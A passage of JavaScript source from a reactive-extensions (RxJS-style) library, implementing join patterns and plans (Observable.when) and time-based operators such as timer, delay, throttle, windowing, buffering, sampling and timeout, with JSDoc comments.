this.patterns = patterns;
}
/**
* Creates a pattern that matches the current plan matches and when the specified observable sequences has an available value.
*
* @param other Observable sequence to match in addition to the current pattern.
* @return Pattern object that matches when all observable sequences in the pattern have an available value.
*/
Pattern.prototype.and = function (other) {
var patterns = this.patterns.slice(0);
patterns.push(other);
return new Pattern(patterns);
};
/**
* Matches when all observable sequences in the pattern (specified using a chain of and operators) have an available value and projects the values.
*
* @param selector Selector that will be invoked with available values from the source sequences, in the same order of the sequences in the pattern.
* @return Plan that produces the projected values, to be fed (with other plans) to the when operator.
*/
Pattern.prototype.then = function (selector) {
return new Plan(this, selector);
};
function Plan(expression, selector) {
this.expression = expression;
this.selector = selector;
}
Plan.prototype.activate = function (externalSubscriptions, observer, deactivate) {
var self = this;
var joinObservers = [];
for (var i = 0, len = this.expression.patterns.length; i < len; i++) {
joinObservers.push(planCreateObserver(externalSubscriptions, this.expression.patterns[i], observer.onError.bind(observer)));
}
var activePlan = new ActivePlan(joinObservers, function () {
var result;
try {
result = self.selector.apply(self, arguments);
} catch (exception) {
observer.onError(exception);
return;
}
observer.onNext(result);
}, function () {
for (var j = 0, jlen = joinObservers.length; j < jlen; j++) {
joinObservers[j].removeActivePlan(activePlan);
}
deactivate(activePlan);
});
for (i = 0, len = joinObservers.length; i < len; i++) {
joinObservers[i].addActivePlan(activePlan);
}
return activePlan;
};
function planCreateObserver(externalSubscriptions, observable, onError) {
var entry = externalSubscriptions.get(observable);
if (!entry) {
var observer = new JoinObserver(observable, onError);
externalSubscriptions.set(observable, observer);
return observer;
}
return entry;
}
// Active Plan
function ActivePlan(joinObserverArray, onNext, onCompleted) {
var i, joinObserver;
this.joinObserverArray = joinObserverArray;
this.onNext = onNext;
this.onCompleted = onCompleted;
this.joinObservers = new Map();
for (i = 0; i < this.joinObserverArray.length; i++) {
joinObserver = this.joinObserverArray[i];
this.joinObservers.set(joinObserver, joinObserver);
}
}
ActivePlan.prototype.dequeue = function () {
var values = this.joinObservers.getValues();
for (var i = 0, len = values.length; i < len; i++) {
values[i].queue.shift();
}
};
ActivePlan.prototype.match = function () {
var firstValues, i, len, isCompleted, values, hasValues = true;
for (i = 0, len = this.joinObserverArray.length; i < len; i++) {
if (this.joinObserverArray[i].queue.length === 0) {
hasValues = false;
break;
}
}
if (hasValues) {
firstValues = [];
isCompleted = false;
for (i = 0, len = this.joinObserverArray.length; i < len; i++) {
firstValues.push(this.joinObserverArray[i].queue[0]);
if (this.joinObserverArray[i].queue[0].kind === 'C') {
isCompleted = true;
}
}
if (isCompleted) {
this.onCompleted();
} else {
this.dequeue();
values = [];
for (i = 0; i < firstValues.length; i++) {
values.push(firstValues[i].value);
}
this.onNext.apply(this, values);
}
}
};
/** @private */
var JoinObserver = (function (_super) {
inherits(JoinObserver, _super);
/**
* @constructor
* @private
*/
function JoinObserver(source, onError) {
_super.call(this);
this.source = source;
this.onError = onError;
this.queue = [];
this.activePlans = [];
this.subscription = new SingleAssignmentDisposable();
this.isDisposed = false;
}
var JoinObserverPrototype = JoinObserver.prototype;
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.next = function (notification) {
if (!this.isDisposed) {
if (notification.kind === 'E') {
this.onError(notification.exception);
return;
}
this.queue.push(notification);
var activePlans = this.activePlans.slice(0);
for (var i = 0, len = activePlans.length; i < len; i++) {
activePlans[i].match();
}
}
};
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.error = noop;
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.completed = noop;
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.addActivePlan = function (activePlan) {
this.activePlans.push(activePlan);
};
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.subscribe = function () {
this.subscription.setDisposable(this.source.materialize().subscribe(this));
};
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.removeActivePlan = function (activePlan) {
var idx = this.activePlans.indexOf(activePlan);
this.activePlans.splice(idx, 1);
if (this.activePlans.length === 0) {
this.dispose();
}
};
/**
* @memberOf JoinObserver#
* @private
*/
JoinObserverPrototype.dispose = function () {
_super.prototype.dispose.call(this);
if (!this.isDisposed) {
this.isDisposed = true;
this.subscription.dispose();
}
};
return JoinObserver;
} (AbstractObserver));
/**
* Creates a pattern that matches when both observable sequences have an available value.
*
* @param right Observable sequence to match with the current sequence.
* @return {Pattern} Pattern object that matches when both observable sequences have an available value.
*/
observableProto.and = function (right) {
return new Pattern([this, right]);
};
/**
* Matches when the observable sequence has an available value and projects the value.
*
* @param selector Selector that will be invoked for values in the source sequence.
* @returns {Plan} Plan that produces the projected values, to be fed (with other plans) to the when operator.
*/
observableProto.then = function (selector) {
return new Pattern([this]).then(selector);
};
/**
* Joins together the results from several patterns.
*
* @param plans A series of plans (specified as an Array of as a series of arguments) created by use of the Then operator on patterns.
* @returns {Observable} Observable sequence with the results form matching several patterns.
*/
Observable.when = function () {
var plans = argsOrArray(arguments, 0);
return new AnonymousObservable(function (observer) {
var activePlans = [],
externalSubscriptions = new Map(),
group,
i, len,
joinObserver,
joinValues,
outObserver;
outObserver = observerCreate(observer.onNext.bind(observer), function (exception) {
var values = externalSubscriptions.getValues();
for (var j = 0, jlen = values.length; j < jlen; j++) {
values[j].onError(exception);
}
observer.onError(exception);
}, observer.onCompleted.bind(observer));
try {
for (i = 0, len = plans.length; i < len; i++) {
activePlans.push(plans[i].activate(externalSubscriptions, outObserver, function (activePlan) {
var idx = activePlans.indexOf(activePlan);
activePlans.splice(idx, 1);
if (activePlans.length === 0) {
outObserver.onCompleted();
}
}));
}
} catch (e) {
observableThrow(e).subscribe(observer);
}
group = new CompositeDisposable();
joinValues = externalSubscriptions.getValues();
for (i = 0, len = joinValues.length; i < len; i++) {
joinObserver = joinValues[i];
joinObserver.subscribe();
group.add(joinObserver);
}
return group;
});
};
function observableTimerDate(dueTime, scheduler) {
return new AnonymousObservable(function (observer) {
return scheduler.scheduleWithAbsolute(dueTime, function () {
observer.onNext(0);
observer.onCompleted();
});
});
}
function observableTimerDateAndPeriod(dueTime, period, scheduler) {
var p = normalizeTime(period);
return new AnonymousObservable(function (observer) {
var count = 0, d = dueTime;
return scheduler.scheduleRecursiveWithAbsolute(d, function (self) {
var now;
if (p > 0) {
now = scheduler.now();
d = d + p;
if (d <= now) {
d = now + p;
}
}
observer.onNext(count++);
self(d);
});
});
}
function observableTimerTimeSpan(dueTime, scheduler) {
var d = normalizeTime(dueTime);
return new AnonymousObservable(function (observer) {
return scheduler.scheduleWithRelative(d, function () {
observer.onNext(0);
observer.onCompleted();
});
});
}
function observableTimerTimeSpanAndPeriod(dueTime, period, scheduler) {
if (dueTime === period) {
return new AnonymousObservable(function (observer) {
return scheduler.schedulePeriodicWithState(0, period, function (count) {
observer.onNext(count);
return count + 1;
});
});
}
return observableDefer(function () {
return observableTimerDateAndPeriod(scheduler.now() + dueTime, period, scheduler);
});
}
/**
* Returns an observable sequence that produces a value after each period.
*
* @example
* 1 - res = Rx.Observable.interval(1000);
* 2 - res = Rx.Observable.interval(1000, Rx.Scheduler.timeout);
*
* @param {Number} period Period for producing the values in the resulting sequence (specified as an integer denoting milliseconds).
* @param {Scheduler} [scheduler] Scheduler to run the timer on. If not specified, Rx.Scheduler.timeout is used.
* @returns {Observable} An observable sequence that produces a value after each period.
*/
var observableinterval = Observable.interval = function (period, scheduler) {
scheduler || (scheduler = timeoutScheduler);
return observableTimerTimeSpanAndPeriod(period, period, scheduler);
};
/**
* Returns an observable sequence that produces a value after dueTime has elapsed and then after each period.
*
* @example
* 1 - res = Rx.Observable.timer(new Date());
* 2 - res = Rx.Observable.timer(new Date(), 1000);
* 3 - res = Rx.Observable.timer(new Date(), Rx.Scheduler.timeout);
* 4 - res = Rx.Observable.timer(new Date(), 1000, Rx.Scheduler.timeout);
*
* 5 - res = Rx.Observable.timer(5000);
* 6 - res = Rx.Observable.timer(5000, 1000);
* 7 - res = Rx.Observable.timer(5000, Rx.Scheduler.timeout);
* 8 - res = Rx.Observable.timer(5000, 1000, Rx.Scheduler.timeout);
*
* @param {Number} dueTime Absolute (specified as a Date object) or relative time (specified as an integer denoting milliseconds) at which to produce the first value.
* @param {Mixed} [periodOrScheduler] Period to produce subsequent values (specified as an integer denoting milliseconds), or the scheduler to run the timer on. If not specified, the resulting timer is not recurring.
* @param {Scheduler} [scheduler] Scheduler to run the timer on. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence that produces a value after due time has elapsed and then each period.
*/
var observableTimer = Observable.timer = function (dueTime, periodOrScheduler, scheduler) {
var period;
scheduler || (scheduler = timeoutScheduler);
if (periodOrScheduler !== undefined && typeof periodOrScheduler === 'number') {
period = periodOrScheduler;
} else if (periodOrScheduler !== undefined && typeof periodOrScheduler === 'object') {
scheduler = periodOrScheduler;
}
if (dueTime instanceof Date && period === undefined) {
return observableTimerDate(dueTime.getTime(), scheduler);
}
if (dueTime instanceof Date && period !== undefined) {
period = periodOrScheduler;
return observableTimerDateAndPeriod(dueTime.getTime(), period, scheduler);
}
if (period === undefined) {
return observableTimerTimeSpan(dueTime, scheduler);
}
return observableTimerTimeSpanAndPeriod(dueTime, period, scheduler);
};
function observableDelayTimeSpan(dueTime, scheduler) {
var source = this;
return new AnonymousObservable(function (observer) {
var active = false,
cancelable = new SerialDisposable(),
exception = null,
q = [],
running = false,
subscription;
subscription = source.materialize().timestamp(scheduler).subscribe(function (notification) {
var d, shouldRun;
if (notification.value.kind === 'E') {
q = [];
q.push(notification);
exception = notification.value.exception;
shouldRun = !running;
} else {
q.push({ value: notification.value, timestamp: notification.timestamp + dueTime });
shouldRun = !active;
active = true;
}
if (shouldRun) {
if (exception !== null) {
observer.onError(exception);
} else {
d = new SingleAssignmentDisposable();
cancelable.setDisposable(d);
d.setDisposable(scheduler.scheduleRecursiveWithRelative(dueTime, function (self) {
var e, recurseDueTime, result, shouldRecurse;
if (exception !== null) {
return;
}
running = true;
do {
result = null;
if (q.length > 0 && q[0].timestamp - scheduler.now() <= 0) {
result = q.shift().value;
}
if (result !== null) {
result.accept(observer);
}
} while (result !== null);
shouldRecurse = false;
recurseDueTime = 0;
if (q.length > 0) {
shouldRecurse = true;
recurseDueTime = Math.max(0, q[0].timestamp - scheduler.now());
} else {
active = false;
}
e = exception;
running = false;
if (e !== null) {
observer.onError(e);
} else if (shouldRecurse) {
self(recurseDueTime);
}
}));
}
}
});
return new CompositeDisposable(subscription, cancelable);
});
}
function observableDelayDate(dueTime, scheduler) {
var self = this;
return observableDefer(function () {
var timeSpan = dueTime - scheduler.now();
return observableDelayTimeSpan.call(self, timeSpan, scheduler);
});
}
/**
* Time shifts the observable sequence by dueTime. The relative time intervals between the values are preserved.
*
* @example
* 1 - res = Rx.Observable.delay(new Date());
* 2 - res = Rx.Observable.delay(new Date(), Rx.Scheduler.timeout);
*
* 3 - res = Rx.Observable.delay(5000);
* 4 - res = Rx.Observable.delay(5000, 1000, Rx.Scheduler.timeout);
* @memberOf Observable#
* @param {Number} dueTime Absolute (specified as a Date object) or relative time (specified as an integer denoting milliseconds) by which to shift the observable sequence.
* @param {Scheduler} [scheduler] Scheduler to run the delay timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} Time-shifted sequence.
*/
observableProto.delay = function (dueTime, scheduler) {
scheduler || (scheduler = timeoutScheduler);
return dueTime instanceof Date ?
observableDelayDate.call(this, dueTime.getTime(), scheduler) :
observableDelayTimeSpan.call(this, dueTime, scheduler);
};
/**
* Ignores values from an observable sequence which are followed by another value before dueTime.
*
* @example
* 1 - res = source.throttle(5000); // 5 seconds
* 2 - res = source.throttle(5000, scheduler);
*
* @param {Number} dueTime Duration of the throttle period for each value (specified as an integer denoting milliseconds).
* @param {Scheduler} [scheduler] Scheduler to run the throttle timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} The throttled sequence.
*/
observableProto.throttle = function (dueTime, scheduler) {
scheduler || (scheduler = timeoutScheduler);
var source = this;
return this.throttleWithSelector(function () { return observableTimer(dueTime, scheduler); })
};
/**
* Projects each element of an observable sequence into zero or more windows which are produced based on timing information.
*
* @example
* 1 - res = xs.windowWithTime(1000, scheduler); // non-overlapping segments of 1 second
* 2 - res = xs.windowWithTime(1000, 500 , scheduler); // segments of 1 second with time shift 0.5 seconds
*
* @param {Number} timeSpan Length of each window (specified as an integer denoting milliseconds).
* @param {Mixed} [timeShiftOrScheduler] Interval between creation of consecutive windows (specified as an integer denoting milliseconds), or an optional scheduler parameter. If not specified, the time shift corresponds to the timeSpan parameter, resulting in non-overlapping adjacent windows.
* @param {Scheduler} [scheduler] Scheduler to run windowing timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence of windows.
*/
observableProto.windowWithTime = function (timeSpan, timeShiftOrScheduler, scheduler) {
var source = this, timeShift;
if (timeShiftOrScheduler === undefined) {
timeShift = timeSpan;
}
if (scheduler === undefined) {
scheduler = timeoutScheduler;
}
if (typeof timeShiftOrScheduler === 'number') {
timeShift = timeShiftOrScheduler;
} else if (typeof timeShiftOrScheduler === 'object') {
timeShift = timeSpan;
scheduler = timeShiftOrScheduler;
}
return new AnonymousObservable(function (observer) {
var groupDisposable,
nextShift = timeShift,
nextSpan = timeSpan,
q = [],
refCountDisposable,
timerD = new SerialDisposable(),
totalTime = 0;
groupDisposable = new CompositeDisposable(timerD),
refCountDisposable = new RefCountDisposable(groupDisposable);
function createTimer () {
var m = new SingleAssignmentDisposable(),
isSpan = false,
isShift = false;
timerD.setDisposable(m);
if (nextSpan === nextShift) {
isSpan = true;
isShift = true;
} else if (nextSpan < nextShift) {
isSpan = true;
} else {
isShift = true;
}
var newTotalTime = isSpan ? nextSpan : nextShift,
ts = newTotalTime - totalTime;
totalTime = newTotalTime;
if (isSpan) {
nextSpan += timeShift;
}
if (isShift) {
nextShift += timeShift;
}
m.setDisposable(scheduler.scheduleWithRelative(ts, function () {
var s;
if (isShift) {
s = new Subject();
q.push(s);
observer.onNext(addRef(s, refCountDisposable));
}
if (isSpan) {
s = q.shift();
s.onCompleted();
}
createTimer();
}));
};
q.push(new Subject());
observer.onNext(addRef(q[0], refCountDisposable));
createTimer();
groupDisposable.add(source.subscribe(function (x) {
var i, s;
for (i = 0; i < q.length; i++) {
s = q[i];
s.onNext(x);
}
}, function (e) {
var i, s;
for (i = 0; i < q.length; i++) {
s = q[i];
s.onError(e);
}
observer.onError(e);
}, function () {
var i, s;
for (i = 0; i < q.length; i++) {
s = q[i];
s.onCompleted();
}
observer.onCompleted();
}));
return refCountDisposable;
});
};
/**
* Projects each element of an observable sequence into a window that is completed when either it's full or a given amount of time has elapsed.
* @example
* 1 - res = source.windowWithTimeOrCount(5000, 50); // 5s or 50 items
* 2 - res = source.windowWithTimeOrCount(5000, 50, scheduler); //5s or 50 items
*
* @memberOf Observable#
* @param {Number} timeSpan Maximum time length of a window.
* @param {Number} count Maximum element count of a window.
* @param {Scheduler} [scheduler] Scheduler to run windowing timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence of windows.
*/
observableProto.windowWithTimeOrCount = function (timeSpan, count, scheduler) {
var source = this;
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var createTimer,
groupDisposable,
n = 0,
refCountDisposable,
s,
timerD = new SerialDisposable(),
windowId = 0;
groupDisposable = new CompositeDisposable(timerD);
refCountDisposable = new RefCountDisposable(groupDisposable);
createTimer = function (id) {
var m = new SingleAssignmentDisposable();
timerD.setDisposable(m);
m.setDisposable(scheduler.scheduleWithRelative(timeSpan, function () {
var newId;
if (id !== windowId) {
return;
}
n = 0;
newId = ++windowId;
s.onCompleted();
s = new Subject();
observer.onNext(addRef(s, refCountDisposable));
createTimer(newId);
}));
};
s = new Subject();
observer.onNext(addRef(s, refCountDisposable));
createTimer(0);
groupDisposable.add(source.subscribe(function (x) {
var newId = 0, newWindow = false;
s.onNext(x);
n++;
if (n === count) {
newWindow = true;
n = 0;
newId = ++windowId;
s.onCompleted();
s = new Subject();
observer.onNext(addRef(s, refCountDisposable));
}
if (newWindow) {
createTimer(newId);
}
}, function (e) {
s.onError(e);
observer.onError(e);
}, function () {
s.onCompleted();
observer.onCompleted();
}));
return refCountDisposable;
});
};
/**
* Projects each element of an observable sequence into zero or more buffers which are produced based on timing information.
*
* @example
* 1 - res = xs.bufferWithTime(1000, scheduler); // non-overlapping segments of 1 second
* 2 - res = xs.bufferWithTime(1000, 500, scheduler; // segments of 1 second with time shift 0.5 seconds
*
* @param {Number} timeSpan Length of each buffer (specified as an integer denoting milliseconds).
* @param {Mixed} [timeShiftOrScheduler] Interval between creation of consecutive buffers (specified as an integer denoting milliseconds), or an optional scheduler parameter. If not specified, the time shift corresponds to the timeSpan parameter, resulting in non-overlapping adjacent buffers.
* @param {Scheduler} [scheduler] Scheduler to run buffer timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence of buffers.
*/
observableProto.bufferWithTime = function (timeSpan, timeShiftOrScheduler, scheduler) {
return this.windowWithTime.apply(this, arguments).selectMany(function (x) { return x.toArray(); });
};
/**
* Projects each element of an observable sequence into a buffer that is completed when either it's full or a given amount of time has elapsed.
*
* @example
* 1 - res = source.bufferWithTimeOrCount(5000, 50); // 5s or 50 items in an array
* 2 - res = source.bufferWithTimeOrCount(5000, 50, scheduler); // 5s or 50 items in an array
*
* @param {Number} timeSpan Maximum time length of a buffer.
* @param {Number} count Maximum element count of a buffer.
* @param {Scheduler} [scheduler] Scheduler to run bufferin timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence of buffers.
*/
observableProto.bufferWithTimeOrCount = function (timeSpan, count, scheduler) {
return this.windowWithTimeOrCount(timeSpan, count, scheduler).selectMany(function (x) {
return x.toArray();
});
};
/**
* Records the time interval between consecutive values in an observable sequence.
*
* @example
* 1 - res = source.timeInterval();
* 2 - res = source.timeInterval(Rx.Scheduler.timeout);
*
* @param [scheduler] Scheduler used to compute time intervals. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence with time interval information on values.
*/
observableProto.timeInterval = function (scheduler) {
var source = this;
scheduler || (scheduler = timeoutScheduler);
return observableDefer(function () {
var last = scheduler.now();
return source.select(function (x) {
var now = scheduler.now(), span = now - last;
last = now;
return {
value: x,
interval: span
};
});
});
};
/**
* Records the timestamp for each value in an observable sequence.
*
* @example
* 1 - res = source.timestamp(); // produces { value: x, timestamp: ts }
* 2 - res = source.timestamp(Rx.Scheduler.timeout);
*
* @param {Scheduler} [scheduler] Scheduler used to compute timestamps. If not specified, the timeout scheduler is used.
* @returns {Observable} An observable sequence with timestamp information on values.
*/
observableProto.timestamp = function (scheduler) {
scheduler || (scheduler = timeoutScheduler);
return this.select(function (x) {
return {
value: x,
timestamp: scheduler.now()
};
});
};
function sampleObservable(source, sampler) {
return new AnonymousObservable(function (observer) {
var atEnd, value, hasValue;
function sampleSubscribe() {
if (hasValue) {
hasValue = false;
observer.onNext(value);
}
if (atEnd) {
observer.onCompleted();
}
}
return new CompositeDisposable(
source.subscribe(function (newValue) {
hasValue = true;
value = newValue;
}, observer.onError.bind(observer), function () {
atEnd = true;
}),
sampler.subscribe(sampleSubscribe, observer.onError.bind(observer), sampleSubscribe)
);
});
}
/**
* Samples the observable sequence at each interval.
*
* @example
* 1 - res = source.sample(sampleObservable); // Sampler tick sequence
* 2 - res = source.sample(5000); // 5 seconds
* 2 - res = source.sample(5000, Rx.Scheduler.timeout); // 5 seconds
*
* @param {Mixed} intervalOrSampler Interval at which to sample (specified as an integer denoting milliseconds) or Sampler Observable.
* @param {Scheduler} [scheduler] Scheduler to run the sampling timer on. If not specified, the timeout scheduler is used.
* @returns {Observable} Sampled observable sequence.
*/
observableProto.sample = function (intervalOrSampler, scheduler) {
scheduler || (scheduler = timeoutScheduler);
if (typeof intervalOrSampler === 'number') {
return sampleObservable(this, observableinterval(intervalOrSampler, scheduler));
}
return sampleObservable(this, intervalOrSampler);
};
/**
* Returns the source observable sequence or the other observable sequence if dueTime elapses.
*
* @example
* 1 - res = source.timeout(new Date()); // As a date
* 2 - res = source.timeout(5000); // 5 seconds
* 3 - res = source.timeout(new Date(), Rx.Observable.returnValue(42)); // As a date and timeout observable
* 4 - res = source.timeout(5000, Rx.Observable.returnValue(42)); // 5 seconds and timeout observable
* 5 - res = source.timeout(new Date(), Rx.Observable.returnValue(42), Rx.Scheduler.timeout); // As a date and timeout observable
* 6 - res = source.timeout(5000, Rx.Observable.returnValue(42), Rx.Scheduler.timeout); // 5 seconds and timeout observable
*
* @param {Number} dueTime Absolute (specified as a Date object) or relative time (specified as an integer denoting milliseconds) when a timeout occurs.
* @param {Observable} [other] Sequence to return in case of a timeout. If not specified, a timeout error throwing sequence will be used.
* @param {Scheduler} [scheduler] Scheduler to run the timeout timers on. If not specified, the timeout scheduler is used.
* @returns {Observable} The source sequence switching to the other sequence in case of a timeout.
*/
observableProto.timeout = function (dueTime, other, scheduler) {
other || (other = observableThrow(new Error('Timeout')));
scheduler || (scheduler = timeoutScheduler);
var source = this, schedulerMethod = dueTime instanceof Date ?
'scheduleWithAbsolute' :
'scheduleWithRelative';
return new AnonymousObservable(function (observer) {
var id = 0,
original = new SingleAssignmentDisposable(),
subscription = new SerialDisposable(),
switched = false,
timer = new SerialDisposable();
subscription.setDisposable(original);
var createTimer = function () {
var myId = id;
timer.setDisposable(scheduler[schedulerMethod](dueTime, function () {
if (id === myId) {
isPromise(other) && (other = observableFromPromise(other));
subscription.setDisposable(other.subscribe(observer));
}
}));
};
createTimer();
original.setDisposable(source.subscribe(function (x) {
if (!switched) {
id++;
observer.onNext(x);
createTimer();
}
}, function (e) {
if (!switched) {
id++;
observer.onError(e);
}
}, function () {
if (!switched) {
id++;
observer.onCompleted();
}
}));
return new CompositeDisposable(subscription, timer);
});
};
/**
* Generates an observable sequence by iterating a state from an initial state until the condition fails.
*
* @example
* res = source.generateWithAbsoluteTime(0,
* function (x) { return return true; },
* function (x) { return x + 1; },
* function (x) { return x; },
* function (x) { return new Date(); }
* });
*
* @param {Mixed} initialState Initial state.
* @param {Function} condition Condition to terminate generation (upon returning false).
* @param {Function} iterate Iteration step function.
* @param {Function} resultSelector Selector function for results produced in the sequence.
* @param {Function} timeSelector Time selector function to control the speed of values being produced each iteration, returning Date values.
* @param {Scheduler} [scheduler] Scheduler on which to run the generator loop. If not specified, the timeout scheduler is used.
* @returns {Observable} The generated sequence.
*/
Observable.generateWithAbsoluteTime = function (initialState, condition, iterate, resultSelector, timeSelector, scheduler) {
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var first = true,
hasResult = false,
result,
state = initialState,
time;
return scheduler.scheduleRecursiveWithAbsolute(scheduler.now(), function (self) {
if (hasResult) {
observer.onNext(result);
}
try {
if (first) {
first = false;
} else {
state = iterate(state);
}
hasResult = condition(state);
if (hasResult) {
result = resultSelector(state);
time = timeSelector(state);
}
} catch (e) {
observer.onError(e);
return;
}
if (hasResult) {
self(time);
} else {
observer.onCompleted();
}
});
});
};
/**
* Generates an observable sequence by iterating a state from an initial state until the condition fails.
*
* @example
* res = source.generateWithRelativeTime(0,
* function (x) { return return true; },
* function (x) { return x + 1; },
* function (x) { return x; },
* function (x) { return 500; }
* );
*
* @param {Mixed} initialState Initial state.
* @param {Function} condition Condition to terminate generation (upon returning false).
* @param {Function} iterate Iteration step function.
* @param {Function} resultSelector Selector function for results produced in the sequence.
* @param {Function} timeSelector Time selector function to control the speed of values being produced each iteration, returning integer values denoting milliseconds.
* @param {Scheduler} [scheduler] Scheduler on which to run the generator loop. If not specified, the timeout scheduler is used.
* @returns {Observable} The generated sequence.
*/
Observable.generateWithRelativeTime = function (initialState, condition, iterate, resultSelector, timeSelector, scheduler) {
scheduler || (scheduler = timeoutScheduler);
return new AnonymousObservable(function (observer) {
var first = true,
hasResult = false,
result,
state = initialState,
time;
return scheduler.scheduleRecursiveWithRelative(0, function (self) {
if (hasResult) {
observer.onNext(result);
}
try {
if (first) {
first = false;
} else {
state = iterate(state);
}
hasResult = condition(state);
if (hasResult) {
result = resultSelector(state);
time = timeSelector(state);
}
} catch (e) {
observer.onError(e);
return;
}
if (hasResult) {
self(time);
} else {
observer.onCompleted();
}
});
});
};
/**
* Time shifts the observable sequence by delaying the subscription.
*
* @example
* 1 - res = source.delaySubscription(5000); // 5s
* 2 - res = source.delaySubscription(5000, Rx.Scheduler.timeout); // 5 seconds
*
* @param {Number} dueTime Absolute or relative time to perform the subscription at.
* @param {Scheduler} [scheduler] Scheduler to run the subscription delay timer on. If not specified, the timeout scheduler is used.
* @returns {Observable} Time-shifted sequence.
*/
observableProto.delaySubscription = function (dueTime, scheduler) {
scheduler || (scheduler = timeoutScheduler);
return this.delayWithSelector(observableTimer(dueTime, scheduler), function () { return observableEmpty(); });
};
/**
* Time shifts the observable sequence based on a subscription delay and a delay selector function for each element.
*
* @example
* 1 - res = source.delayWithSelector(function (x) { return Rx.Scheduler.timer(5000); }); // with selector only
* 1 - res = source.delayWithSelector(Rx.Observable.timer(2000), function (x) { return Rx.Observable.timer(x); }); // with delay and selector
*
* @param {Observable} [subscriptionDelay] Sequence indicating the delay for the subscription to the source.
* @param {Function} delayDurationSelector Selector function to retrieve a sequence indicating the delay for each given element.
* @returns {Observable} Time-shifted sequence.
*/
observableProto.delayWithSelector = function (subscriptionDelay, delayDurationSelector) {
var source = this, subDelay, selector;
if (typeof subscriptionDelay === 'function') {
selector = subscriptionDelay;
} else {
subDelay = subscriptionDelay;
selector = delayDurationSelector;
}
return new AnonymousObservable(function (observer) {
var delays = new CompositeDisposable(), atEnd = false, done = function () {
if (atEnd && delays.length === 0) {
observer.onCompleted();
}
}, subscription = new SerialDisposable(), start = function () {
subscription.setDisposable(source.subscribe(function (x) {
var delay;
try {
delay = selector(x);
} catch (error) {
observer.onError(error);
return;
}
var d = new SingleAssignmentDisposable();
delays.add(d);
d.setDisposable(delay.subscribe(function () {
observer.onNext(x);
delays.remove(d);
done();
}, observer.onError.bind(observer), function () {
observer.onNext(x);
delays.remove(d);
done();
}));
}, observer.onError.bind(observer), function () {
atEnd = true;
subscription.dispose();
done();
}));
};
if (!subDelay) {
start();
} else {
subscription.setDisposable(subDelay.subscribe(function () {
start();
}, observer.onError.bind(observer), function () { start(); }));
}
return new CompositeDisposable(subscription, delays);
});
};
/**
* Returns the source observable sequence, switching to the other observable sequence if a timeout is signaled.
*
* @example
* 1 - res = source.timeoutWithSelector(Rx.Observable.timer(500));
* 2 - res = source.timeoutWithSelector(Rx.Observable.timer(500), function (x) { return Rx.Observable.timer(200); });
* 3 - res = source.timeoutWithSelector(Rx.Observable.timer(500), function (x) { return Rx.Observable.timer(200); }, Rx.Observable.returnValue(42));
*
* @param {Observable} [firstTimeout] Observable sequence that represents the timeout for the first element. If not provided, this defaults to Observable.never().
* @param {Function} [timeoutDurationSelector] Selector to retrieve an observable sequence that represents the timeout between the current element and the next element.
* @param {Observable} [other] Sequence to return in case of a timeout. If not provided, this is set to Observable.throwException().
* @returns {Observable} The source sequence switching to the other sequence in case of a timeout.
*/
observableProto.timeoutWithSelector = function (firstTimeout, timeoutdurationSelector, other) {
if (arguments.length === 1) {
timeoutdurationSelector = firstTimeout;
var firstTimeout = observableNever();
}
other || (other = observableThrow(new Error('Timeout')));
var source = this;
return new AnonymousObservable(function (observer) {
var subscription = new SerialDisposable(), timer = new SerialDisposable(), original = new SingleAssignmentDisposable();
subscription.setDisposable(original);
var id = 0, switched = false, setTimer = function (timeout) {
var myId = id, timerWins = function () {
return id === myId;
};
var d = new SingleAssignmentDisposable();
timer.setDisposable(d);
d.setDisposable(timeout.subscribe(function () {
if (timerWins()) {
subscription.setDisposable(other.subscribe(observer));
}
d.dispose();
}, function (e) {
if (timerWins()) {
observer.onError(e);
}
}, function () {
if (timerWins()) {
subscription.setDisposable(other.subscribe(observer));
}
}));
};
setTimer(firstTimeout);
var observerWins = function () {
var res = !switched;
if (res) {
id++;
}
return res;
};
original.setDisposable(source.subscribe(function (x) {
if (observerWins()) {
observer.onNext(x);
var timeout;
try {
timeout = timeoutdurationSelector(x);
} catch (e) {
observer.onError(e);
return;
}
setTimer(timeout);
}
}, function (e) {
if (observerWins()) {
observer.onError(e);
}
}, function () {
if (observerWins()) {
observer.onCompleted();
}
}));
return new CompositeDisposable(subscription, timer);
});
};
/**
* Ignores values from an observable sequence which are followed by another value within a computed throttle duration.
*
* @example
* 1 - res = source.delayWithSelector(function (x) { return Rx.Scheduler.timer(x + x); });
*
* @param {Function} throttleDurationSelector Selector function to retrieve a sequence indicating the throttle duration for each given element.
* @returns {Observable} The throttled sequence.
*/
observableProto.throttleWithSelector = function (throttleDurationSelector) {
var source = this;
return new AnonymousObservable(function (observer) {
var value, hasValue = false, cancelable = new SerialDisposable(), id = 0, subscription = source.subscribe(function (x) {
var throttle;
try {
throttle = throttleDurationSelector(x);
} catch (e) {
observer.onError(e);
return;
}
hasValue = true;
value = x;
id++;
var currentid = id, d = new SingleAssignmentDisposable();
cancelable.setDisposable(d);
d.setDisposable(throttle.subscribe(function () {
if (hasValue && id === currentid) {
observer.onNext(value);
}
hasValue = false;
d.dispose();
}, observer.onError.bind(observer), function () {
if (hasValue && id === currentid) {
observer.onNext(value);
}
hasValue = false;
d.dispose();
}));
}, function (e) {
cancelable.dispose();
observer.onError(e);
hasValue = false;
id++;
}, function () {
cancelable.dispose();
if (hasValue) {
observer.onNext(value);
}
observer.onCompleted();
hasValue = false;
id++;
});
return new CompositeDisposable(subscription, cancelable);
});
};
/**
* Skips elements for the specified duration from the end of the observable source sequence, using the specified scheduler to run timers.
*
* 1 - res = source.skipLastWithTime(5000);
